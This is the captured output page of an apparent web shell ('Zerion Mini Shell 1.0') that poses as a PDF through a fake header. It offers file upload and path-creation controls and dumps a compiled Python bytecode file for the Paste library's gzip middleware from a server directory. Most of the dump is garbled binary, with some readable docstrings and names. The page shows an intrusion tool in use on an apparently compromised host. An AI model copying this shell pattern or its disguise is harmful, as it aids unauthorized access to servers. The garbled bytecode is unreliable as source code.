%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/paste/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/paste/__pycache__/gzipper.cpython-37.pyc

B

a�Nl�@s�dZddlZddlmZmZddlmZyddlmZWn e	k
rXddlmZYnXGdd�de
�ZGdd	�d	e
�ZGd
d�de
�Z
dd
�Zddd�ZdS)z-
WSGI middleware

Gzip-encodes the response.
�N)�header_value�
remove_header)�CONTENT_LENGTH)�StringIOc@seZdZdS)�
GzipOutputN)�__name__�
__module__�__qualname__�r
r
�>/opt/alt/python37/lib/python3.7/site-packages/paste/gzipper.pyrsrc@seZdZddd�Zdd�ZdS)�
middleware�cCs||_t|�|_dS)N)�application�int�compress_level)�selfrrr
r
r�__init__szmiddleware.__init__cCsPd|�dd�kr|�||�St||j�}|�||j�}|dk	rH|�|�|��S)N�gzipZHTTP_ACCEPT_ENCODING�)�getr�GzipResponser�gzip_start_response�finish_response�write)r�environ�start_response�response�app_iterr
r
r�__call__s
zmiddleware.__call__N)r
)rrr	rrr
r
r
rrs
rc@s.eZdZdd�Zd
dd�Zdd�Zdd	�ZdS)rcCs$||_||_t�|_d|_d|_dS)NF)rrr�buffer�compressible�content_length)rrrr
r
rr.s
zGzipResponse.__init__NcCs~||_t|d�}t|d�}d|_|rF|�d�s8|�d�rFd|krFd|_|rPd|_|jr`|�d�t|d	�||_||_|jjS)
Nzcontent-typezcontent-encodingFztext/zapplication/�zipT)zcontent-encodingrzcontent-length)	�headersrr �
startswith�appendr�statusrr)rr&r#�exc_infoZctZcer
r
rr5s



z GzipResponse.gzip_start_responsecCs&|j}|�d�|��}|��|gS)Nr)r�seek�getvalue�close)r�out�sr
r
rrFs

zGzipResponse.writec	Cs�|jrtjd|j|jd�}n|j}z*x|D]}|�|�q*W|jrJ|��Wdt|d�r`|��X|j��}t	�
|j|�|�|j
|j�dS)N�wb)�mode�
compresslevel�fileobjr*)r r�GzipFilerrrr*�hasattr�tellr�updater#rr&)rr�outputr,r!r
r
rrMs




zGzipResponse.finish_response)N)rrr	rrrrr
r
r
rr,s
rcKs"ddl}|�dtd�dd�}|S)Nrz=This function is deprecated; use make_gzip_middleware instead�cSst|�S)N)r)rr
r
r�filterdszfilter_factory.<locals>.filter)�warnings�warn�DeprecationWarning)rZconfr8r7r
r
r�filter_factory_sr;r
cCst|�}t||d�S)z�
    Wrap the middleware, so that it applies gzipping to a response
    when it is supported by the browser and the content is of
    type ``text/*`` or ``application/*``
    )r)rr)ZappZglobal_confrr
r
r�make_gzip_middlewarehsr<)r
)�__doc__rZpaste.responserrZpaste.httpheadersr�	cStringIOr�ImportError�objectrrrr;r<r
r
r
r�<module>s3	

Zerion Mini Shell 1.0